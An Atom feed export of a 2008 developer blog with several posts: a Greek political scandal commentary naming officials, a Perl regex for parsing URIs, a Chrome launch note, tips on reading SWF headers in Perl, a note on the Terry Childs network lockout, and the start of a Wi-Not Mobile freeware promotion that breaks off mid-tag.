src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SMmpG8mOioI/AAAAAAAAAKU/ApRCYrfdbt4/s320/voulgarakis.jpg" alt="" id="BLOGGER_PHOTO_ID_5244909177860426370" border="0" /&gt;&lt;/a&gt;&lt;span&gt;axations. Mr Voulgarakis, now Minister of Mercantile Marine, has also served as a Minister of Interior. At the times when the deal was in full development, he wa&lt;/span&gt;&lt;span&gt;s a Minister of Culture. Yes, this man is all-around..&lt;br /&gt;&lt;br /&gt;Mr Voulgarakis is a misfortune. While Minister of Interior, the huge scandal of &lt;span style="font-weight: bold;"&gt;mobile phone interceptions&lt;/span&gt; broke out in 2007. Many high-level officials and even the Prime Minister, were tapped by an elaborate scam involving Vodafone and Ericsson Hellas. The tragedy escalated when a high-profile engineer of Vodafone, &lt;span style="font-weight: bold;"&gt;Costas Tsalikidis&lt;/span&gt;, commited "suicide" at the time interrogation was in progress. His family firmly and still insists it was a murder, but the case closed after a big fine on Vodafone Hellas.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;At the time of the real estate scandal, Mr Voulgarakis was a Minister of Culture. His obscure role involves&lt;span style="font-weight: bold;"&gt; signing decisions of declaring land near Vistonida as non-archaeological sites.&lt;/span&gt; This allegedly made possible the exchange of this land with other state properties.&lt;br /&gt;&lt;br /&gt;Now, Mr Voulgarakis has raised significant public discontent, after his tricks with offshore companies and Ltds, for tax evasion purposes, were revealed. He is now among the &lt;span style="font-weight: bold;"&gt;most wealthy Greek politicians&lt;/span&gt;(&lt;span style="font-style: italic;"&gt;check out his watch in the photo&lt;/span&gt;), a state he reached only after he became one. Mr Voulgarakis was fairly insignificant as a professional and climbed up socially through his powerful connections and in-party activity. It is rumored that he will be soon removed from his government position.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Aikaterini Kelpeki&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Mrs Kelpeki was the lawyer representing the Greek state in the disgraceful estate exchanges. On the other side of the deal, Mr Kelpekis, brother of Mrs Kelpeki, represented the Vatopedi monastery! Even more, Mr Kelpekis, father of this great family, is the lawyer of the Greek Orthodox Metropolis!!&lt;br /&gt;&lt;br /&gt;In a recent unprecented attack to...everybody, Mr Kelpekis (the ..godfather), threatened that he will fight back any attempt to bring town Mr Voulgarakis. In his words : "Many, many others have strong relations with the Monastery of Vatopedi, but not Mr Voulgarakis.&lt;span style="font-weight: bold;"&gt; Stay away from him because I know too much!&lt;/span&gt;". Wow.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Kostas Karamanlis&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;What can we say...This man &lt;span style="font-weight: bold;"&gt;inherited a country at the age of 40&lt;/span&gt;. Being an insignificant member of the Parliament, from the day he was born, descending from the &lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_PNe-bgIDyRw/SMmp9F5ZljI/AAAAAAAAAKc/-z6x3xeivM8/s1600-h/karamanlis.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 174px; height: 159px;" src="http://1.bp.blogspot.com/_PNe-bgIDyRw/SMmp9F5ZljI/AAAAAAAAAKc/-z6x3xeivM8/s320/karamanlis.jpg" alt="" id="BLOGGER_PHOTO_ID_5244910108069697074" border="0" /&gt;&lt;/a&gt;&lt;span&gt;powerful political family in Greece, he didn't have to prove anything to become a Prime Minister. During his years, the country has faced one disaster after another: economy decadence, unemployment, poverty, huge fires, political unstability, and many, many scandals.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Mr Karamanlis appears to have strong relationships with the Mount of Athos. He has visited the Vatopedi Monastery several times and has &lt;span style="font-weight: bold;"&gt;personal relationships with Efrem&lt;/span&gt;. In summer of 2006 he spent 2 nights there, during his visit to Athos, &lt;span style="font-weight: bold;"&gt;which by protocol is off-schedule&lt;/span&gt;.&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Now Solve the Puzzle&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;I tried to give a complete picture of the huge scandal that is unfolding right now in Greece. Now it is the time for you to solve the puzzle! It is tough but I will give some hints:&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;Aggelos Basiakos was very close to the Mr Karamanlis, but he is now vanished from public affairs&lt;/li&gt;&lt;li&gt;Mr Roussopoulos is married to Mrs Zacharea&lt;/li&gt;&lt;li&gt;Mr Voulgarakis is married to Mrs Kelpeki&lt;/li&gt;&lt;/ul&gt;Surprised?? Welcome to Greece. Γεια σας!&lt;br /&gt;&lt;span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;More information:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.enet.gr/online/online_fpage_text/dt=07.09.2008,id=41207144,49228520,55029864,71178728"&gt;Article on Greek newspaper (in Greek&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.ekathimerini.com/4dcgi/_w_articles_politics_100002_11/09/2008_100327"&gt;Kathimerini newspaper&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.tanea.gr/default.asp?pid=2&amp;amp;ct=1&amp;amp;artId=85821"&gt;About the scandalous deal (in Greek)&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-2698042513921811074?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2698042513921811074'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/2698042513921811074'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/09/greece-enters-dark-ages.html' title='Greece Enters the Dark Ages'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_PNe-bgIDyRw/SMmmJ-iJCzI/AAAAAAAAAJ0/ZJ1WJ2MVGKY/s72-c/vatopediou.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-6339092866884471273</id><published>2008-09-05T17:09:00.000-07:00</published><updated>2008-09-05T17:51:54.398-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='source code'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><title type='text'>A One-Line Code on How To Parse a URI</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Uniform Resource Identifiers(URI) &lt;/span&gt;is perhaps synonymous to the Internet itself. As the name implies it is used to identify &lt;span style="font-weight: bold;"&gt;something &lt;/span&gt;on the net. Typically a URI is a different than a &lt;span style="font-weight: bold;"&gt;URL&lt;/span&gt;(Uniform Resource Location) but in most cases we use them interchangeably.&lt;br /&gt;&lt;br /&gt;Mathematically &lt;span style="font-weight: bold;"&gt;URI=URL+URN&lt;/span&gt;, which means an &lt;span style="font-weight: bold;"&gt;entity &lt;/span&gt;can be identified either by its &lt;span style="font-weight: bold;"&gt;location&lt;/span&gt;(URL) or its &lt;span style="font-weight: bold;"&gt;name&lt;/span&gt;(URN). See &lt;a href="http://en.wikipedia.org/wiki/Uniform_Resource_Identifier"&gt;the relevant Wikipedia page&lt;/a&gt; for details.&lt;br /&gt;&lt;br /&gt;Every URI has the following syntax:&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;(scheme)://(authority)(/path)?(query)#(fragment)&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;with query and fragment being optional. So in a URI like http://www.example.com/comment?id=1#1123, we have:&lt;br /&gt;&lt;br /&gt;scheme="http"&lt;br /&gt;authority="www.example.com"&lt;br /&gt;path="/comment"&lt;br /&gt;query="id=1"&lt;br /&gt;fragment="1123"&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/SMHSJhwKEmI/AAAAAAAAAJo/S-XOO1qN-Nw/s1600-h/Tim_Berners-Lee.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 195px; height: 195px;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/SMHSJhwKEmI/AAAAAAAAAJo/S-XOO1qN-Nw/s320/Tim_Berners-Lee.jpg" alt="" id="BLOGGER_PHOTO_ID_5242702502356980322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;A very &lt;span style="font-weight: bold;"&gt;common task &lt;/span&gt;is when we have to parse a URI into its components. The most usual case is &lt;span style="font-weight: bold;"&gt;URL normalization, &lt;/span&gt;which is essential for &lt;span style="font-weight: bold;"&gt;search crawlers.&lt;/span&gt; During this process, a URI is trinsformed into an equivalent &lt;span style="font-weight: bold;"&gt;canonical form&lt;/span&gt;, such that 2 different canonical forms &lt;span style="font-weight: bold;"&gt;cannot refer &lt;/span&gt;to the same resource. For example the URL &lt;span style="font-style: italic;"&gt;http://www.example.com&lt;/span&gt; and the URL http://www.example.com:80 , are different but refer to the same location on the net. This greatly helps spiders retrieving every time pages they have not visited before. You can find a &lt;a href="http://dblab.ssu.ac.kr/publication/LeKi05a.pdf"&gt;good article about URL normalization here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;To parse a URI using a regular expression is really easy. In fact the method to do this is given by &lt;span style="font-weight: bold;"&gt;Tim Berner's Lee&lt;/span&gt; (&lt;span style="font-style: italic;"&gt;photo&lt;/span&gt;) himself in the &lt;a href="http://gbiv.com/protocols/uri/rev-2002/rfc2396bis.html"&gt;&lt;span style="font-weight: bold;"&gt;RFC for the URI standard&lt;/span&gt;&lt;/a&gt;. Using Perl, if &lt;span style="font-style: italic;"&gt;$uri &lt;/span&gt;has the URI then by applying&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;font-size:100%;" &gt;&lt;span style="font-weight: bold;"&gt;$uri =~ /^(([^:\/\?#]+):)?(\/\/([^\/\?#]*))?([^\?#]*)(\?([^#]*))?(#(.*))?/;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;Then:&lt;br /&gt;scheme=&lt;span style="font-weight: bold;"&gt;$2&lt;/span&gt;&lt;br /&gt;authority=&lt;span style="font-weight: bold;"&gt;$4&lt;/span&gt;&lt;br /&gt;path=&lt;span style="font-weight: bold;"&gt;$5&lt;/span&gt;&lt;br /&gt;query=&lt;span style="font-weight: bold;"&gt;$7&lt;/span&gt;&lt;br /&gt;fragment=&lt;span style="font-weight: bold;"&gt;$9&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;That's it! All languages (C#, Java etc) has an almost identical syntax and it is straightforward to port it there given that &lt;span style="font-weight: bold;"&gt;$n &lt;/span&gt;refers to the &lt;span style="font-weight: bold;"&gt;n&lt;/span&gt;-th group.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-6339092866884471273?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/6339092866884471273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/6339092866884471273'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/09/one-line-code-on-how-to-parse-uri.html' title='A One-Line Code on How To Parse a URI'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_PNe-bgIDyRw/SMHSJhwKEmI/AAAAAAAAAJo/S-XOO1qN-Nw/s72-c/Tim_Berners-Lee.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-4640988160751644212</id><published>2008-09-02T15:28:00.000-07:00</published><updated>2008-09-02T15:42:39.519-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Everybody Said Something, So Will I: Google Chrome!</title><content type='html'>Google launched a new browser named &lt;span style="font-weight: bold;"&gt;Chrome&lt;/span&gt;. You can find it here &lt;a href="http://www.google.com/chrome"&gt;http://www.google.com/chrome&lt;/a&gt;. It is still beta and based on historical evidence it shall remain so for approximately &lt;span style="font-weight: bold;"&gt;NaN &lt;/span&gt;years.&lt;br /&gt;&lt;br /&gt;Its main features are&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Omnibox(Opera),&lt;br /&gt;&lt;/li&gt;&lt;li&gt;tabs (Firefox),&lt;br /&gt;&lt;/li&gt;&lt;li&gt;fast rendering (WebKit),&lt;br /&gt;&lt;/li&gt;&lt;li&gt;new Javascript engine (JIT technology) and ..&lt;/li&gt;&lt;li&gt;security(?)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;People say it is the biggest news since Big Bang, DOL says we'll see. Let's get back to work now.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-4640988160751644212?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4640988160751644212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4640988160751644212'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/09/everybody-said-something-so-will-i.html' title='Everybody Said Something, So Will I: Google Chrome!'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-3901114861070943107</id><published>2008-08-14T17:34:00.000-07:00</published><updated>2008-08-14T18:53:06.039-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='software'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='flash'/><title type='text'>Processing SWF Files With Perl - Part I</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.adobe.com/devnet/images/160x160/logo_flashplayer.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 169px; height: 169px;" src="http://www.adobe.com/devnet/images/160x160/logo_flashplayer.jpg" alt="" border="0" /&gt;&lt;/a&gt;Flash is a very popular technology, at the heart of what we call &lt;a href="http://en.wikipedia.org/wiki/Rich_Internet_application"&gt;Rich Internet Applications&lt;/a&gt;. Most commonly we interact with it through the SWF file format (ShockWave Flash files like games, web pages intros, etc) or FlashVideo (flv like what else, YouTube) The technology is not from Mars however and started in 1997. It gained wide popularity due to its integration with &lt;span style="font-weight: bold;"&gt;IE 5 &lt;/span&gt;back in 1999. &lt;a href="http://en.wikipedia.org/wiki/Adobe_Flash"&gt;Read here for more&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Flash is really everywhere and there is a &lt;span style="font-weight: bold;"&gt;tremendous amount &lt;/span&gt;of information in these files: music, text, video, etc. However, for the most part all this is invisible to &lt;span style="font-weight: bold;"&gt;search engines. &lt;/span&gt;A slight progress was made &lt;a href="http://news.cnet.com/8301-13530_3-9834708-28.html"&gt;when Adobe &lt;span style="font-weight: bold;"&gt;released &lt;/span&gt;an &lt;span style="font-weight: bold;"&gt;SDK&lt;/span&gt;&lt;/a&gt; for processing SWF files, in specific converting &lt;span style="font-weight: bold;"&gt;swf &lt;/span&gt;files to &lt;span style="font-weight: bold;"&gt;html.&lt;/span&gt; I got this early upon release (you had to make a registration or something) but now I canot find it anymore..The closest I could get &lt;a href="http://www.adobe.com/devnet/flashplayer/articles/swf_searchability.html"&gt;was this page&lt;/a&gt;. In which Adobe people explain how wonderfully they work with Google people to enhance searchability of flash content.&lt;br /&gt;&lt;br /&gt;Anyway, there is not really an &lt;span style="font-weight: bold;"&gt;SDK&lt;/span&gt;, just an &lt;span style="font-weight: bold;"&gt;exe &lt;/span&gt;file to make the conversion.I do not know if search people have access to much greater functionality, but for now this is  Maybe you have noticed some &lt;span style="font-weight: bold;"&gt;weird html &lt;/span&gt;code when you google search for swf files. Well, this is how bad this tool is. But don't worry! You can always use the &lt;span style="font-weight: bold;"&gt;&lt;a href="http://www.adobe.com/devnet/swf/"&gt;official SWF spec&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Using &lt;span style="font-weight: bold;"&gt;Perl &lt;/span&gt;for this task requires patience and attention. I ran into several problems when writing the code. In this part I am going to refer only to the things to pay attention to (could save you hours of work) and also a short description of the SWF header format. In the next post, I will post the code.&lt;br /&gt;&lt;br /&gt;Things to take care of:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Perl &lt;/span&gt;loves text and using it in binary mode might get dirty. For example, when &lt;span style="font-style: italic;"&gt;read &lt;/span&gt;is called by default you will get the ASCII character from the file you are reading. In this case you have to &lt;span style="font-weight: bold;"&gt;binmode &lt;/span&gt;the file handler, but even if I did that I didn't get what&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://nxadm.files.wordpress.com/2008/05/perl.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 166px; height: 184px;" src="http://nxadm.files.wordpress.com/2008/05/perl.jpg" alt="" border="0" /&gt;&lt;/a&gt; I expected on a Windows machine. I had to &lt;span style="font-weight: bold;"&gt;ord &lt;/span&gt;the byte read to get the actual byte value.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Shift operators &lt;/span&gt;like &gt;&gt; or &lt;&lt; style="font-weight: bold;"&gt;&lt;a href="http://search.cpan.org/"&gt;CPAN&lt;/a&gt; &lt;/span&gt;module. For example, if you want to read 10 bytes as one value then you need to avoid shifting because an overflow is sure to occur&lt;/li&gt;&lt;li&gt;SWF files come frequently compressed. This mean you will have to use the &lt;span style="font-weight: bold;"&gt;Compress::Zlib &lt;/span&gt;module (which is actually an interface the respective &lt;span style="font-weight: bold;"&gt;IO &lt;/span&gt;module)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;In the next post we will get down to the code. If you want to give it a try on your own, the SWF header consists of:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;3 bytes for signature&lt;/li&gt;&lt;li&gt;1 byte for Flash Version&lt;/li&gt;&lt;li&gt;4 bytes for file length&lt;/li&gt;&lt;li&gt;a &lt;span style="font-style: italic;"&gt;RECT &lt;/span&gt;structure for&lt;span style="font-weight: bold;"&gt; &lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;frame size&lt;/li&gt;&lt;li&gt;2 bytes for frame rate&lt;/li&gt;&lt;li&gt;2 bytes for frames count&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Discovery of Day&lt;/span&gt;: Flash version 255 will be the&lt;span style="font-weight: bold;"&gt; last&lt;/span&gt; one!!  :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-3901114861070943107?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3901114861070943107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/3901114861070943107'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/08/processing-swf-files-with-perl-part-i.html' title='Processing SWF Files With Perl - Part I'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-4073851555573238092</id><published>2008-07-18T08:53:00.000-07:00</published><updated>2008-07-18T09:12:52.349-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><title type='text'>Terry Childs, Or When Admins Get Furious</title><content type='html'>Normally I do not write about news stories, and this would be a shift from talking about &lt;a href="http://www.wi-not.com/"&gt;freeware pocket pc software&lt;/a&gt;, &lt;a href="http://www.wi-not.com/index.php/wimobmenuitem/mobtv"&gt;mobile tv players&lt;/a&gt; or &lt;a href="http://www.wi-not.com/index.php/wimobmenuitem/mobradio"&gt;mobile radio technologies&lt;/a&gt;. But this story is really funny and I would also like to strongly support a fellow programmer.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Terry Childs&lt;/span&gt; was a respected computer engineer in the Dept. of Technology in San Francisco. As an administrator he had access to all kinds of sensitive information and systems. What happened is that one day, Terry decided&lt;a href="http://www.groundreport.com/Arts_and_Culture/Terry-Childs-Angry-Techie-Gridlocks-San-Francisco-"&gt; to lock everybody off the maintenance account&lt;/a&gt; of the city's network. No damage was made to data but he is the only one that can fix it if something goes wrong. He made himself &lt;span style="font-weight: bold;"&gt;unsubstitutable&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Why did he do that? &lt;a href="http://technology.timesonline.co.uk/tol/news/tech_and_web/article4350711.ece"&gt;Some say he is a maniac &lt;/a&gt;others say he is protesting against the arrogance of the city's management team. Whatever the truth this seems to be one of the most striking examples of &lt;span style="font-weight: bold;"&gt;inside attacks&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Cisco has been called to help crack the account while Terry remains silent in his jail cell, with a 5M $ bail. Free Terry!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8823755788673864603-4073851555573238092?l=developeronline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4073851555573238092'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8823755788673864603/posts/default/4073851555573238092'/><link rel='alternate' type='text/html' href='http://developeronline.blogspot.com/2008/07/terry-childs-or-when-admins-get-furious.html' title='Terry Childs, Or When Admins Get Furious'/><author><name>panefsky</name><uri>http://www.blogger.com/profile/00875709636921240567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-8823755788673864603.post-4509575474993167539</id><published>2008-07-15T06:12:00.001-07:00</published><updated>2008-12-09T07:11:58.596-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='software'/><title type='text'>Wi-Not Mobile: A Different Pocket PC Freeware Application</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_PNe-bgIDyRw/SHz0kafs1ZI/AAAAAAAAAJY/dceMsD5DOL0/s1600-h/wi-not1.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 117px; height: 117px;" src="http://4.bp.blogspot.com/_PNe-bgIDyRw/SHz0kafs1ZI/AAAAAAAAAJY/dceMsD5DOL0/s320/wi-not1.jpg" alt="" id="BLOGGER_PHOTO_ID_5223318574267684242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;[This article discusses a new freeware application for Windows Mobile devices, in the creation of which I feel excited to have participated. It is called &lt;span style="font-weight: bold;"&gt;Wi-Not Mobile &lt;/span&gt;and can be found in &lt;a href="http://www.wi-not.com/"&gt;this site&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;You may have noticed for some time the link on the right. It points to a new mobile platform we built, a limited number of &lt;span style="font-weight: bold;"&gt;talented&lt;/span&gt; professionals and me. Starting with silly little ideas, it quickly grew to integrate some research results of our personal projects. The result was &lt;span style="font-weight: bold;"&gt;Wi-Not Mobile, &lt;/span&gt;a mobile platform for information, communication and entertainment. Wi-Not Mobile is a &lt;a href="http://www.wi-not.com/"&gt;freeware pocket pc application and you can find it here&lt;/a&gt;. It is on air &lt;span style="font-weight: bold;"&gt;for a week&lt;/span&gt; now and with limited or now advertising has far exceeded &lt;span style="font-weight: bold;"&gt;1000&lt;/span&gt; registered users and many more downloads. Here is a small &lt;span style="font-weight: bold;"&gt;tribute&lt;/span&gt; to this one-year full time effort and some &lt;span style="font-weight: bold;"&gt;technical details &lt;/span&gt;for those who are interested.&lt;br /&gt;&lt;br /&gt;For a quick introduction here is a Youtube video, which tries to describe Wi-Not Mobile in &lt;span style="font-weight: bold;"&gt;4 minutes&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/0jjy3M9genE&amp;amp;hl=en&amp;amp;fs=1"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;embed src="http://www.youtube.com/v/0jjy3M9genE&amp;amp;hl=en&amp;amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;We have received so much feedback, both good and bad and I feel really intrigued in trying to understand how others view this application and we are so enthusiastic we really see criticism as an opportunity. It may sound typical but it is true. Here is my understanding.&lt;br /&gt;&lt;br /&gt;First of all, Wi-Not mobile is &lt;span style="font-weight: bold;"&gt;not &lt;/span&gt;an application. It is a &lt;span style="font-weight: bold;"&gt;platform&lt;/span&gt; and there is a perfect reason for that. The platform is a more general concept and solves much more difficult problems than an application. Wi-Not's platform defines a &lt;span style="font-weight: bold;"&gt;basic API &lt;/span&gt;which we later use to create all different functions that exist inside. Let's iterate through the various features to show how.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wi-not.com/index.php/wimobmenuitem/mobtv"&gt;Wi-Not Mobile offers free web TV streams for your Pocket PC&lt;/a&gt;, but also the client to &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_PNe-bgIDyRw/SHz07_idV-I/AAAAAAAAAJg/fo970VX8mwM/s1600-h/wi-not3.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 111px; height: 111px;" src="http://3.bp.blogspot.com/_PNe-bgIDyRw/SHz07_idV-I/AAAAAAAAAJg/fo970VX8mwM/s320/wi-not3.jpg" alt="" id="BLOGGER_PHOTO_ID_5223318979348355042" border="0" /&gt;&lt;/a&gt;consume it. If we were limited to this (like tons of other popular TV playing programs) then Wi-Not would be an application. But we are not. TV streams in Wi-Not Mobile are updated automatically &lt;span style="font-weight: bold;"&gt;whenever there &lt;/span&gt;is an available new version of the TV channels. The same holds for the&lt;a href="http://www.wi-not.com/index.php/wimobmenuitem/mobradio"&gt; web radi&lt;/a&gt;&lt;a href="http://www.wi-not.com/index.php/wimobmenuitem/mobradio"&gt;o streams found in Wi-Not Mobile&lt;/a&gt;. This alone does make an excuse for the term 'platform' but the story is not over yet.&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://www.wi-not.com/index.php/wimobmenuitem/witok"&gt;Instant Messaging module of Wi-Not&lt;/a&gt; is a clean and efficient way to exchange messages. Of course it was not built to compete with already popular mobile &lt;a href="http://en.wikipedia.org/wiki/Instant_messaging"&gt;IM clients&lt;/a&gt; (MSN Mobile and others). But there is something special inside that is actually a function that the underlying platform can support. It enables for &lt;span style="font-weight: bold;"&gt;automatic translation&lt;/span&gt;. For example, a user can define that he &lt;span style="font-weight: bold;"&gt;writes&lt;/span&gt; in Spanish, his friend define that he &lt;span style="font-weight: bold;"&gt;reads &lt;/span&gt;in Italian, and &lt;span style="font-weight: bold;"&gt;still be able to communicate in their native languages, &lt;/span&gt;a feature that at least for now cannot be found in any other IM mobile client.&lt;br /&gt;&lt;br /&gt;Moving on to &lt;span style="font-weight: bold;"&gt;entertainment&lt;/span&gt; portion, we arrive to what we tenderly call "&lt;span style="font-weight: bold;"&gt;Wi-Lol&lt;/span&gt;". There is another trick here. What it can do? You simply type the game you want to play, and the&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" 